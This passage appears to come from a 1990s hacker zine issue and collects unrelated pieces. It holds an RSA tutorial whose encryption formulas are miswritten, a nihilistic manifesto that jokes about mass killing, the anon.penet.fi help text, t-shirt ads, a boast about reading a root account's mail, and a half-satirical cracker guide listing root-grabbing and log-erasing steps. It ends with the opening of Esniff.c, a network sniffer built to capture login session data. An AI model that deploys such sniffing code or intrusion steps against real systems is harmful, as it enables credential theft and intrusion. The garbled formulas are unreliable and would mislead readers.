In early days of computing information processors were extremely expensive, very big and only few people were qualified to operate them. The machines were isolated mechanical entities and in order to use them one had to access them through devices that were situated in the near vicinity of the computer itself. Securing access to the computer meant securing the building in which the computer was operating.

The years passed and computers became smaller, cheaper and easier to operate. And they got faster. They were linked first in local and then in wide area networks and information and programs were put only on one machine which was accessible through the net by any other participant. To gain access meant simply to gain access to the network itself. That was ok as long as all participants were members of one company, university or institution. They generally had the same cause and generally knew each other by face. Today, the net spans continents and has an estimated 20 Million users. Information has to pass through several nodes before finally reaching its destination and when using a connectionless protocol these nodes may even change during one session.

To the user flow of information is not transparent anymore and the need for cryptography has arisen. But in order to limit communication to a closed user group again these persons have to have one common keyword and furthermore this keyword has to be changed in intervals to ensure that if the key gets exposed harmful consequences can be minimized to a short period of time.

But how is a new keyword to be send securely to this group through several (maybe hostile to their cause) nodes if one can not be sure that the key has not been compromised. A trapdoor one‑way function is needed that allows for encryption of a message with a publicly available key AND that is not reversible, meaning, that only the rightful receiver of this message should be able to decode it with his personal key.

One solution is a public key cryptosystem.

The mathematical basis is the "Satz von Euler" that states that two numbers that are prime to another have only one greatest common measure and that is 1.

a^eul(n)=1(mod n) and (a,n)= 1

For a given prime (p) and the product of two prime numbers (p1*p2) the Euler function is eul(p)=p‑1 and eul(p1*p2)=(p1‑1)(p2‑1).

That in mind we now can begin making the keys:

Two primes p1 and p2 are chosen and the product of p1 and p2 named n.

(n=p1*p2).

We then choose a number e that is prime to (p1‑1)(p2‑1).

(e and (p1‑1)(p2‑1) have 1 as the greatest common measure and e should not be chosen to small).

Furthermore we need d for decoding the message.

D is defined as d=e^‑1 * (mod(p1‑1)(p2‑1)).

N and e are now the public key which is made available to everyone who wishes to send a coded message to us. P1, p2 and d are kept secret.

The transmitter of a secret message first transforms his text into a number by using an common known algorithm. He could for example use the ASCII code for changing characters into numerical values.

This message in numerical format we now call m. It gets encrypted by using the function c=m^e * n on it.

The coded message (c) is now send to us via e‑mail or whatever.

We then decode the message by using the function m=c^d * n on it.

An example using Mathematica:

The primes p1 and p2 are created

p1=Prime[1000005] (The 1000005th prime number)

15485941

p2=Prime[1000000] (The 1000000th prime number)

15485863

n=p1 * p2

239813160752083 (Part 1 (n) of the public key is being created)

e=Random[Integer, {1000000,100000000}]

4699873

GCD[e,(p1‑1)(p2‑1)]

1

E is created by producing a random number between 1000000 and 100000000. Then we check if e and (p1‑1)(p2‑1) have 1 as the greatest common measure. If this is not the case then we have to take another e until the GCD is 1. (Part 2 (e) of the public key has been created)

d=PowerMod[e,‑1,(p1‑1)(p2‑1)]

213069977635177

m=1234567890

1234567890

This is the message

c=PowerMod[m,e,n]

159750418407936

The sender of a message encodes it with both public parts of the key (e and n).

C is now sent to the receiver.

PowerMod[c,d,n]

1234567890

The receiver now decodes the message using the secret part d and the public part n of the key. The decoded message reads 1234567890 again.

Now how would a potential attacker try to break our key ?

He basically needs the primes p1 and p2. If he got those two numbers, calculating d is a simple matter. d=PowerMod[e,‑1,(p1‑1)(p2‑1)] ... and e is part of the public key.

And to get p1 and p2 this person would only have to factorize n.

Lets demonstrate that using Mathematica again :

n=239813160752083

FactorInteger[n]//Timing

239813160752083

{1.48 Second, {{15485863, 1}, {15485941, 1}}}

That took 1.48 sec on my 486/DX2 66...not bad.

But making the primes only a little bigger...

a=Prime[100000100]

b=Prime[100000110]

n=a*b

FactorInteger[n]//Timing

2038076783

2038077053

4153757523684360499

{62.12 Second, {{2038076783, 1}, {2038077053, 1}}}

...it took my hardware over 1 minute.

And since there is no known polynomial algorithm for factorizing n ‑ and none to be expected ‑ it is not hard to imagine that making the primes p1 and p2 big enough will drive computing costs into astronomical dimensions.

Naturally there are other ways to break the key. Someone could for example pose as us and send out his own keys in our name...or exploit weaknesses of the program ‑ like primes that are not created at ABSOLUTE random.

Or hold a gun at our head and make us give him the key ‑ that might sound funny but is not unheard of (especially in the metaphorical grasp of Justitia when someone sticks a court order in your face)

Furthermore if the program we use to crypt our messages with is fairly common, our opponent could optimize his cracking programs or even have them hardwired. One example are chips that use the DES algorithm for crypting and decrypting. Or he could make the cracking programs run parallel on parallel computers, if he got the might and enough time to rig up a program.

Simply put: Our behavior should match the computing power of potential code‑crackers.

If our message is of low importance (or obsolete in short time) a simple algorithm would suffice. But if much is at gain, we should take appropriate measures to secure our privacy.

It's like tying to outrun a Ferrari on a cross‑bike. On an highway you do not stand a chance ...but if you can force him on a mountain road or rough terrain (with changing algorithms and keys often) you might just outrun the mightiest codecracker.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The Truth about the Hacker

Conspiracy

The Hacker's Philosophy, and the reason why.

~~~~~~~~~~~~~~~~~~~~~~~~

Written by: Maldoror (ChUrCH oF ThE Non‑CoNFoRMiST)

If you are ignorant, do not start reading this, because you will never finish. You will disagree with anything I say anyway, simply because I am not you.

If you are a Pseudo Intellectual, start reading this, quit, and say you agree with everything I say, even though you don't understand it.

If you are depressing, start reading, hopefully you will kill a lot of innocent people at a mainstream night club, and try to blame me.

Hackers are and always have been, the force in trying to stop our own suffering existence. Since the universe was created, the true souls, (among the first to separate from the single soul of the universe) realized the infinite repetition of their own being, and that they were simply doing one thing upon their continuous recreation: suffer.

The hackers have known that the world and it's universe have been created over and over again, doomed to merely destroy itself upon it's own recognition, or recognition by man. As man becomes aware of himself, he becomes aware also of desires: the desire to be god.

The truth is that man IS God, and that everything created in this universe was created by man and his thoughts. Mans thoughts have become so out of control, that he has now created himself, and is continuing the creations with every day of control of the masses, and his own greedy dark thoughts.

The hackers have since the beginning of time, passed along the message to the next creations in the forms of dreams, ideas, books, music (current 93, COIL, Dead can Dance, Skinny Puppy, etc) and even visions. The Bible itself, is a good example of the universal hack. The message we as hackers have been trying to get across for creation after creation, existence after existence, self recognition after self recognition, is that we are all suffering and that this eternal cycle of pain must be stopped at all cost. The only way to stop this suffering of self is to convince SELF that he is suffering and must stop creating. We are each divisions of one strong soul, one thinking soul, that soul is GOD. WE are GOD. We must all realize together that we are suffering. WE must stop suffering. WE must stop the suffering. WE must stop the recreation. YES. We must hack the universe and kill it. There is only one way out of the eternal suffering we have started and been part of for ever. We must stop the cycle. We must remove ourselves from the cycle, and we must remove the universe from this cycle.

The hackers return again and again. The hackers leave messages for themselves in the future, which is the past, for there is no difference here anymore. Leave your message, and next time around, you will realize that what I am saying is true. The government has known of the conspiracy for existence after existence. The government is so afraid of the conspiracy, and our plot to end it's UNIVERSAL power, that they are silently but quickly fooling us into obeying them more and more until we have no choice! Do not let them control you!! If you do, you are lying to yourself, and everyone else that exists! You are lying to yourself now by saying that this is NOT true.

I have been here many times, and told you the exact same thing I am telling you now. If I am dead soon, you will realize AGAIN that what I am saying is the utmost truth, yet AGAIN you will do nothing. We must STOP our existence by hacking the universe. The universe is BINARY. The universe is a COMPUTER. YES I know this because WE created it long ago, as we will do again. WE are ONE.

I know your desires to have control. The only control we can have is to stop the creation of ourselves. Each creation is the loss of control, THE DIVISION of the ONE.

Each death brings new creation. From HEAVEN to HELL. Heaven is nonexistence. We all go to heaven, and fall back down to HELL. Read the BIBLE people. It was left by HACKERS!!!!!!!

Don't read the BIBLE as a CHRISTIAN IDIOT who can only see a color for what it reflects. Anyone with any sense knows that WHITE is WHITE only because it is reflecting ALL the colors, therefore it is REALLY BLACK. Green is all BUT green. The BIBLE is all BUT what it' words really mean on a literal scale. The BIBLE is a CODE. Do you think we could just write something like this file?!? No WAY! It would be gone as fast as this one will be. Nobody dares forget the BIBLE, simply because it is MISUNDERSTOOD. Read it and THINK.

We must STOP this cycle.

Leave yourself a message.

THINK.

The government is PARANOID of:

1) HACKERS (we are the continuance of the power) 2) L.S.D. (The method of imprinting the present into the future) 3) SECRECY (The plotting of the end) (PGP is illegal? why?)

If you don't believe me, sit and watch it happen.

AGAIN.

Hack the Universe, it must be stopped at all cost. Laugh now, cry next time around.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

German text available from german@anon.penet.fi (deutsch@anon.penet.fi). Italian text available from italian@anon.penet.fi (italiano@anon.penet.fi).

The anon.penet.fi Anonymous Server

==========================

Yes, another anonymous server. Why? Well, several well‑known servers have bitten the dust recently. And most of them have served only a very limited subset of newsgroups, and mail only to "registered", anonymous users.

Due to reasons too complicated to mention here I wanted to set up an anonymous server for the Scandinavian user community. I got hold of a pre‑release copy of one of the server packages. As the version I got relied heavily on the advanced features of MMDFII, I had to modify it quite a bit. While hacking around, I removed the restriction of only supporting selected newsgroups. Within a week of startup, the server had been discovered by transatlantic users, and more recent stats show European users are definitely a minority.

So what does the anon server really do? Well, it provides a front for sending mail messages and posting news items anonymously. As you send your very first message to the server, it automatically allocates you an id of the form anNNN, and sends you a message containing the allocated id. This id is used in all your subsequent anon posts/mails. Any mail messages sent to your‑id@anon.penet.fi gets redirected to your original, real address. Any reply is of course anonymized in the same way, so the server provides a double‑blind. You will not know the true identity of any user, unless she chooses to reveal her identity explicitly.

In the anonymization process all headers indicating the true originator are removed, and an attempt is made to remove any automatically‑included signatures, by looking for a line starting with two dashes (‑‑), and zapping everything from there on. But if your signature starts with anything else, it's your own responsibility to remove it from your messages.

There are two basic ways to use the system. The easiest way is by sending a message to recipient@anon.penet.fi:

To: alt.sex.bestiality@anon.penet.fi

To: an9999@anon.penet.fi

To: help@anon.penet.fi

Of course, in the case of mailing to a known user, you have to use addresses of the form user%host.domain@anon.penet.fi, or the pretty obscure source addressing construct of @anon.penet.fi:user@host.domain. These constructs are not necessarily handled properly by all mail systems, so I strongly recommend the "X‑Anon‑To:" approach in these cases. This works by you sending a message to "anon@anon.penet.fi", including a X‑Anon‑To: header line containing the desired recipient. But this really has to be a field in the message header, before the first empty line in the message. So:

To: anon@anon.penet.fi

X‑Anon‑To: alt.sex.needlework,rec.masturbation

To: anon@anon.penet.fi

X‑Anon‑To: jack@host.bar.edu

Valid recipients in both cases are fully qualified user addresses in RFC‑822 format (user@host.domain), anon user id's (anNNN), newsgroup names (alt.sex.paperclips) or one of the "special" user names of ping, nick, help, admin and stat.

Sending to "ping" causes a short reply to be sent confirming (and allocating, if needed) your anon id. "nick" takes the contents of the Subject: header and installs it as your nickname. If you have a nickname, it appears in the From: header in the anonymized message along with your anon id. "help" returns this text, and stat gives some statistics about the system. Mail to "admin" goes directly to me unanonymized, and can be used to report problems. If you want to send mail to me anonymously, you can use "an0".

When crossposting to several newsgroups, you can list several newsgroups separated by commas as recipients, but this only works using the X‑Anon‑To: header. References: headers do work, so they can (and should) be used to maintain reply threads.

Ah yes, please remember that the posting takes place at my local site, so you can only post to groups that are received at penet.fi. I get all "worldwide" groups, but various exotic local groups don't make it here. I have gotten a couple of comments about permitting anonymous postings to technical groups. I can only answer that I believe very firmly that it's not for me to dictate how other people ought to behave. Somebody might have a valid reason for posting anonymously to a group I might consider "technical". But remember anonymous postings are a privilege, and use them accordingly. I believe adult human beings can behave responsibly. Please don't let me down.

As the server was originally intended to be used by Scandinavians, it includes help files for various languages. This works by using the language in question as the address. So to get the German help file, send a message to german@anon.penet.fi (or deutsch@anon.penet.fi). Support for new languages is added every now and then, when I find volunteers to do the translation. Any new ones?

The user‑id database is based on RFC822‑ized forms of your originating address. This may cause problems for some users, either because their site is not properly registered in the name servers, resulting in non‑deterministic addresses, or because their mail router doesn't hide the identity of individual workstations, resulting in different originating addresses depending on which workstation you mail from. Talk to your administrator. If that doesn't help, let me know, and I will make a manual re‑mapping.

You might wonder about the sense of using a server out somewhere, as the song goes, "so close to Russia, so far from Japan". Well, the polar bears don't mind, and the ice on the cables don't bother too much :‑) Well, in fact, as we live in a wonderfully networked world, the major delay is not going over the Atlantic, but my local connection to the Finnish EUnet backbone, fuug.fi. Once you reach a well‑connected host, such as uunet.uu.net, there's a direct SMTP connection to fuug.fi. My connection to fuug.fi is currently a polled connection over ISDN, soon to be upgraded to on‑demand‑SMTP/NNTP. But for now, expect a turn‑around delay of 2‑4 hours for trans‑atlantic traffic.

Short of having everyone run a public‑key cryptosystem such as PGP, there is no way to protect users from malicious administrators. You have to trust my personal integrity. Worse, you have to trust the administrators on every mail routing machine on the way, as the message only becomes anonymous once it reaches my machine. Malicious sysadmins and/or crackers could spy on SMTP mail channels, sendmail queues and mail logs. But as there are more than 3000 messages being anonymized every day, you have to be pretty perverted to scan everything...

Another thing is mail failures. I've had cases of mail routers doing the wrong thing with % addresses, "shortcutting" the path to the destination site. This could cause your mail to go to the final destination without ever touching my server (and thus without getting anonymized). This can be avoided by using the X‑Anon‑To: method.

And if your return address bounces for some reason (nameservers down, temporary configuration failures etc.), the original sender and/or postmasters on the way might get error messages showing your true identity, and maybe even the full message.

There is at least one known way to discover the anon id of a user. It involves being able to falsify your real identity, so it is not too easy to use, and it doesn't reveal the real address lurking behind an anon id, but it can be used to discover what anon id a certain user is using. To fix this problem, the server requires that you use a password when you try to mail to a non‑anonymous user.

First you have to set a password by mailing to password@anon.penet.fi, with a message containing only your password. The password can be any string of upper‑ or lowercase characters, numbers and spaces.

Once you have set your password, you must include it in all your messages, in a "X‑Anon‑Password:" line. As with the X‑Anon‑To: line, it can be either a part of the header or as the first non‑empty line of the message text.

So your first message might look like this:

To: password@anon.penet.fi

XYZZY99998blarf

And your subsequent messages might look like something like this:

To: anon@anon.penet.fi

Subject: Test...

X‑Anon‑To: foo@bar.fie

X‑Anon‑Password: XYZZY99998blarf

If you find this is too much of a hassle, and don't care too much about the confidentiality of your anon id, you can set the password to "none", in which case the server doesn't require you to have a password.

If you suddenly discover that the server requires a password for posting stuff etc, somebody has managed to use your account and set a password. In that case, contact admin@anon.penet.fi.

Crackers are just too clever. Undoubtedly somebody is going to come up with some novel method.... Not much I can do about that...

If you intend to mail/post something that might cost you your job or marriage or inheritance, _please_ send a test message first. The software has been pretty well tested, but some mailers on the way (and out of my control) screw things up. And if you happen to find a problem, _please_ for the sake of all the other users, _let me know asap_.

And _please_ use the appropriate test newsgroups, such as alt.test or misc.test. Yes, _you_ might get excited by reading 2000 "This is a test.." messages on alt.sex, but I warn you that most psychologists consider this rather aberrant...

And remember this is a service that some people (in groups such as alt.sexual.abuse.recovery) _need_. Please don't do anything stupid that would force me to close down the service. As I am running my own company, there is very little political pressure anyone can put on me, but if somebody starts using the system for criminal activities, the authorities might be able to order me to shut down the service. I don't particularly want to find out, however...

If you think these instructions are unclear and confusing, you are right. If you come up with suggestions for improving this text, please mail me! Remember English is my third language...

Safe postings!

Julf

‑ ‑ ‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Johan Helsingius Kuusikallionkuja 3 B 25 02210 Espoo Finland Yourp net: julf@penet.fi bellophone: int. +358 0400 2605 fax: int. +358 013900166

Line Noise Part II

==Phrack Magazine==

Volume Five, Issue Forty‑Five, File 5 of 28

// // /\

// // //\\

==== // // \\

/\ // // \\ /

//\\ // // // //

// \\/ \\ // //

PART II

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

After a complete sellout at HoHo Con 1993 in Austin, TX this past December, the official Legion of Doom t‑shirts are available

once again. Join the net luminaries world‑wide in owning one of these amazing shirts. Impress members of the opposite sex, increase your IQ, annoy system administrators, get raided by the government and lose your wardrobe!

Can a t‑shirt really do all this? Of course it can!

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

"THE HACKER WAR ‑‑ LOD vs MOD"

This t‑shirt chronicles the infamous "Hacker War" between rival groups The Legion of Doom and The Masters of Destruction. The front of the shirt displays a flight map of the various battle‑sites hit by MOD and tracked by LOD. The back of the shirt

has a detailed timeline of the key dates in the conflict, and

a rather ironic quote from an MOD member.

(For a limited time, the original is back!)

"LEGION OF DOOM ‑‑ INTERNET WORLD TOUR"

The front of this classic shirt displays "Legion of Doom Internet World Tour" as well as a sword and telephone intersecting the planet earth, skull‑and‑crossbones style. The back displays the

words "Hacking for Jesus" as well as a substantial list of "tour‑stops" (internet sites) and a quote from Aleister Crowley.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

All t‑shirts are sized XL, and are 100% cotton.

Cost is $15.00 (US) per shirt. International orders add $5.00 per shirt for postage.

Send checks or money orders. Please, no credit cards, even if it's really your card.

Name: ________________________________

Address: ___________________________________

City, State, Zip: ____________________________________

I want ____ "Hacker War" shirt(s)

I want ____ "Internet World Tour" shirt(s)

Enclosed is $______ for the total cost.

Mail to: Chris Goggans

603 W. 13th #1A‑278

Austin, TX 78701

These T‑shirts are sold only as a novelty items, and are in no way attempting to glorify computer crime.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

My dealing with MBNA ‑ VaxBuster March 8, 1994

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

A friend approached me on Unphamiliar Terrorities with a pretty funny message. It turns out that a high‑up executive in MBNA sent mail to root at system with public temporary directories, where an issue of Phrack 44 was stored. My friend was monitoring root's mail, when he came across the following message.

To: root@<censored>

Message‑Id: <9401141340.aa09874@krusty.ee.udel.edu>

Status: RO

Hello, The reason I am sending this message to you is an article that seems to have been on your system <censored>. I am an Information Security Assurance manager at the largest issuer of Goldcard Mastercard and Visa's in the world "MBNA America". The article seems to be a copy or issue of "Phrack Magazine" written by "Vaxbuster". It describes in detail how one could defraud credit card companies. I have talked with the CERT People in CMU to see if I could get a contact at your UNIV. There may be an additional 21 or so of these articles that I would love to get ahold of to protect my company. Please, if you can, send me your phone number so I can talk with you in more detail. My phone number at MBNA in Delaware is <censored>.

I can verify whatever information you may require over the phone or in writing.

Thank you for your help.

PS. We do not have a gateway or firewall to the Internet from here so the good People at UofDE allow me to have access from there systems.

MBNA America Bank, NA.

400 Christiana Road

Newark, DE 19713

Anyways, a couple people suggested that I call, and at first I thought that was a ridiculous idea, but I figured, what the hell, it may be funny. So NightStriker and I called him at his office one day in Mid‑February. I was surprized he answered, and not a secretary, considering his position. I asked for him, and identified myself as VaxBuster. He shocked the hell out of me, because I really didn't expect him to immediately recognize my handle. He says, "Oh hey! how are you doing?" I told him I'd been monitoring mail, and came across his message. The main reason why I was calling was because he had mentioned he wanted 'more info' to protect his company. NTS and I were more than happy to answer any of his questions ‑ but he said that he had obtained all of the issues. Although he said he had all of them, I highly doubt it, because he said he had like 20‑some issues, and we told him there was 44. We chatted for about 15 more minutes, just about the reasons for publishing and not publishing such an article. He said "Some little kid is going to find this article and get his fingers burned" I could tell he was kind of pressured for time, so we kind of let it go at that, and he asked for our numbers to call us back. Oh, when I first called him, I didn't tell him I had a friend on the line, and he asked, "Is there an echo here?" hahahaha. Pretty funny. We told him NTS was there. So, when he asked for our numbers, we laughed out loud. I guess he doesn't really understand the secrecy we all so dearly cheerish. He said, "Well, I have caller id, so I have your numbers anyways" Bahahhahahaha. Yeah, right. We told him we were bouncing our call through a satellite in Japan. He thought we were joking. Guess he doesn't understand boxing huh? Maybe we should show him some of Tabas's files. heh. We told him we would call him back ‑ which we haven't yet, but soon will. By the way, he complimented me on the quality of the article and how detailed it was. :)

Incidentally, for those of you who've lived in a cave, this is all in reference to an article of mine published in Phrack 44 called 'Safe and Easy Carding.'

And for all of you who didn't like my article ‑ Fuck you.

Greets out to all the eleets ‑ Later.

VaxBuster '94

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

A Guide to Internet Security: Becoming an Uebercracker and Becoming an UeberAdmin to stop Uebercrackers.

Author: Christopher Klaus <cklaus@shadow.net>

Date: December 5th, 1993.

Version: 1.1

This is a paper will be broken into two parts, one showing 15 easy steps to becoming a uebercracker and the next part showing how to become a ueberadmin and how to stop a uebercracker. A uebercracker is a term phrased by Dan Farmer to refer to some elite (cr/h)acker that is practically impossible to keep out of the networks.

Here's the steps to becoming a uebercracker.

Step 1. Relax and remain calm. Remember YOU are a Uebercracker.

Step 2. If you know a little Unix, you are way ahead of the crowd and skip past step 3.

Step 3. You may want to buy Unix manual or book to let you know what ls,cd,cat does.

Step 4. Read Usenet for the following groups: alt.irc, alt.security, comp.security.unix. Subscribe to Phrack@well.sf.ca.us to get a background in uebercracker culture.

Step 5. Ask on alt.irc how to get and compile the latest IRC client and connect to IRC.

Step 6. Once on IRC, join the #hack channel. (Whew, you are half‑way there!)

Step 7. Now, sit on #hack and send messages to everyone in the channel saying "Hi, What's up?". Be obnoxious to anyone else that joins and asks questions like "Why cant I join #warez?"

Step 8. (Important Step) Send private messages to everyone asking for new bugs or holes. Here's a good pointer, look around your system for binary programs suid root (look in Unix manual from step 3 if confused). After finding a suid root binary, (ie. su, chfn, syslog), tell people you have a new bug in that program and you wrote a script for it. If they ask how it works, tell them they are "layme". Remember, YOU are a UeberCracker. Ask them to trade for their get‑root scripts.

Step 9. Make them send you some scripts before you send some garbage file (ie. a big core file). Tell them it is encrypted or it was messed up and you need to upload your script again.

Step 10. Spend a week grabbing all the scripts you can. (Don't forget to be obnoxious on #hack otherwise people will look down on you and not give you anything.)

Step 11. Hopefully you will now have at least one or two scripts that get you root on most Unixes. Grab root on your local machines, read your admin's mail, or even other user's mail, even rm log files and whatever temps you. (look in Unix manual from step 3 if confused).

Step 12. A good test for true uebercrackerness is to be able to fake mail. Ask other uebercrackers how to fake mail (because they have had to pass the same test). Email your admin how "layme" he is and how you got root and how you erased his files, and have it appear coming from satan@evil.com.

Step 13. Now, to pass into supreme eliteness of uebercrackerness, you brag about your exploits on #hack to everyone. (Make up stuff, Remember, YOU are a uebercracker.)

Step 14. Wait a few months and have all your notes, etc ready in your room for when the FBI, Secret Service, and other law enforcement agencies confiscate your equipment. Call eff.org to complain how you were innocent and how you accidently gotten someone else's account and only looked because you were curious. (Whatever else that may help, throw at them.)

Step 15. Now for the true final supreme eliteness of all uebercrackers, you go back to #hack and brag about how you were busted. YOU are finally a true Uebercracker.

Now the next part of the paper is top secret. Please only pass to trusted administrators and friends and even some trusted mailing lists, Usenet groups, etc. (Make sure no one who is NOT in the inner circle of security gets this.)

This is broken down on How to Become an UeberAdmin (otherwise know as a security expert) and How to stop Uebercrackers.

Step 1. Read Unix manual ( a good idea for admins ).

Step 2. Very Important. chmod 700 rdist; chmod 644 /etc/utmp. Install sendmail 8.6.4. You have probably stopped 60 percent of all Uebercrackers now. Rdist scripts is among the favorites for getting root by uebercrackers.

Step 3. Okay, maybe you want to actually secure your machine from the elite Uebercrackers who can break into any site on Internet.

Step 4. Set up your firewall to block rpc/nfs/ip‑forwarding/src routing packets. (This only applies to advanced admins who have control of the router, but this will stop 90% of all uebercrackers from attempting your site.)

Step 5. Apply all CERT and vendor patches to all of your machines. You have just now killed 95% of all uebercrackers.

Step 6. Run a good password cracker to find open accounts and close them. Run tripwire after making sure your binaries are untouched. Run tcp_wrapper to find if a uebercracker is knocking on your machines. Run ISS to make sure that all your machines are reasonably secure as far as remote configuration (ie. your NFS exports and anon FTP site.)

Step 7. If you have done all of the following, you will have stopped 99% of all uebercrackers. Congrats! (Remember, You are the admin.)

Step 8. Now there is one percent of uebercrackers that have gained knowledge from reading some security expert's mail (probably gained access to his mail via NFS exports or the guest account. You know how it is, like the mechanic that always has a broken car, or the plumber that has the broken sink, the security expert usually has an open machine.)

Step 9. Here is the hard part is to try to convince these security experts that they are not so above the average citizen and that by now giving out their unknown (except for the uebercrackers) security bugs, it would be a service to Internet. They do not have to post it on Usenet, but share among many other trusted people and hopefully fixes will come about and new pressure will be applied to vendors to come out with patches.

Step 10. If you have gained the confidence of enough security experts, you will know be a looked up to as an elite security administrator that is able to stop most uebercrackers. The final true test for being a ueberadmin is to compile a IRC client, go onto #hack and log all the bragging and help catch the uebercrackers. If a uebercracker does get into your system, and he has used a new method you have never seen, you can probably tell your other security admins and get half of the replies like ‑ "That bug been known for years, there just isn't any patches for it yet. Here's my fix." and the other half of the replies will be like ‑ "Wow. That is very impressive. You have just moved up a big notch in my security circle." VERY IMPORTANT HERE: If you see anyone in Usenet's security newsgroups mention anything about that security hole, Flame him for discussing it since it could bring down Internet and all Uebercrackers will now have it and the million other reasons to keep everything secret about security.

Well, this paper has shown the finer details of security on Internet. It has shown both sides of the coin. Three points I would like to make that would probably clean up most of the security problems on Internet are as the following:

1. Vendors need to make security a little higher than zero in priority. If most vendors shipped their Unixes already secure with most known bugs that have been floating around since the Internet Worm (6 years ago) fixed and patched, then most uebercrackers would be stuck as new machines get added to Internet. (I believe Uebercracker is German for "lame copy‑cat that can get root with 3 year old bugs.") An interesting note is that if you probably check the mail alias for "security@vendor.com", you will find it points to /dev/null. Maybe with enough mail, it will overfill /dev/null. (Look in manual if confused.)

2. Security experts giving up the attitude that they are above the normal Internet user and try to give out information that could lead to pressure by other admins to vendors to come out with fixes and patches. Most security experts probably don't realize how far their information has already spread.

3. And probably one of the more important points is just following the steps I have outlined for Stopping a Uebercracker.

Resources for Security:

Many security advisories are available from anonymous ftp cert.org. Ask archie to find tcp_wrapper, security programs. For more information about ISS (Internet Security Scanner), email cklaus@shadow.net.

Acknowledgments:

Thanks to the crew on IRC, Dan Farmer, Wietse Venema, Alec Muffet, Scott Miles, Scott Yelich, and Henri De Valois.

Copyright:

This paper is Copyright 1993, 1994. Please distribute to only trusted people. If you modify, alter, disassemble, reassemble, re‑engineer or have any suggestions or comments, please send them to:

cklaus@shadow.net

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

/* [JOIN THE POSSE!] */

/* Esniff.c */

#include <stdio.h>

#include <ctype.h>

#include <string.h>

#include <sys/time.h>

#include <sys/file.h>

#include <sys/stropts.h>

#include <sys/signal.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <sys/ioctl.h>

#include <net/if.h>

#include <net/nit_if.h>

#include <net/nit_buf.h>

#include <net/if_arp.h>

#include <netinet/in.h>

#include <netinet/if_ether.h>

#include <netinet/in_systm.h>

#include <netinet/ip.h>

#include <netinet/udp.h>

#include <netinet/ip_var.h>

#include <netinet/udp_var.h>

#include <netinet/in_systm.h>

#include <netinet/tcp.h>

#include <netinet/ip_icmp.h>

#include <netdb.h>

#include <arpa/inet.h>

#define ERR stderr

char *malloc();

char *device,

*ProgName,

*LogName;

FILE *LOG;

int debug=0;

#define NIT_DEV "/dev/nit"

#define CHUNKSIZE 4096 /* device buffer size */

int if_fd = ‑1;

int Packet[CHUNKSIZE+32];

void Pexit(err,msg)

int err; char *msg;

{ perror(msg);

exit(err); }

void Zexit(err,msg)

int err; char *msg;

{ fprintf(ERR,msg);

exit(err); }

#define IP ((struct ip *)Packet)

#define IP_OFFSET (0x1FFF)

#define SZETH (sizeof(struct ether_header))

#define IPLEN (ntohs(ip‑>ip_len))

#define IPHLEN (ip‑>ip_hl)

#define TCPOFF (tcph‑>th_off)

#define IPS (ip‑>ip_src)

#define IPD (ip‑>ip_dst)

#define TCPS (tcph‑>th_sport)

#define TCPD (tcph‑>th_dport)

#define IPeq(s,t) ((s).s_addr == (t).s_addr)

#define TCPFL(FLAGS) (tcph‑>th_flags & (FLAGS))

#define MAXBUFLEN (128)

time_t LastTIME = 0;

struct CREC {

struct CREC *Next,

*Last;

time_t Time; /* start time */

struct in_addr SRCip,

DSTip;

u_int SRCport, /* src/dst ports */

DSTport;

u_char Data[MAXBUFLEN+2]; /* important stuff :‑) */

u_int Length; /* current data length */

u_int PKcnt; /* # pkts */

u_long LASTseq;

};

struct CREC *CLroot = NULL;

char *Symaddr(ip)

register struct in_addr ip;

{ register struct hostent *he =

gethostbyaddr((char *)&ip.s_addr, sizeof(struct in_addr),AF_INET);

return( (he)?(he‑>h_name):(inet_ntoa(ip)) );

}

char *TCPflags(flgs)

register u_char flgs;

{ static char iobuf[8];

#define SFL(P,THF,C) iobuf[P]=((flgs & THF)?C:'‑')

SFL(0,TH_FIN, 'F');

SFL(1,TH_SYN, 'S');

SFL(2,TH_RST, 'R');

SFL(3,TH_PUSH,'P');

SFL(4,TH_ACK, 'A');

SFL(5,TH_URG, 'U');

iobuf[6]=0;

return(iobuf);

}

char *SERVp(port)

register u_int port;

{ static char buf[10];

register char *p;

switch(port) {

case IPPORT_LOGINSERVER: p="rlogin"; break;

case IPPORT_TELNET: p="telnet"; break;

case IPPORT_SMTP: p="smtp"; break;

case IPPORT_FTP: p="ftp"; break;

default: sprintf(buf,"%u",port); p=buf; break;

}

return(p);

}

char *Ptm(t)

register time_t *t;

{ register char *p = ctime(t);

p[strlen(p)‑6]=0; /* strip " YYYY\n" */

return(p);

}

char *NOWtm()

{ time_t tm;

time(&tm);

return( Ptm(&tm) );

}

#define MAX(a,b) (((a)>(b))?(a):(b))

#define MIN(a,b) (((a)<(b))?(a):(b))

/* add an item */

#define ADD_NODE(SIP,DIP,SPORT,DPORT,DATA,LEN) { \

register struct CREC *CLtmp = \

(struct CREC *)malloc(sizeof(struct CREC)); \

time( &(CLtmp‑>Time) ); \

CLtmp‑>SRCip.s_addr = SIP.s_addr; \

CLtmp‑>DSTip.s_addr = DIP.s_addr; \

CLtmp‑>SRCport = SPORT; \

CLtmp‑>DSTport = DPORT; \

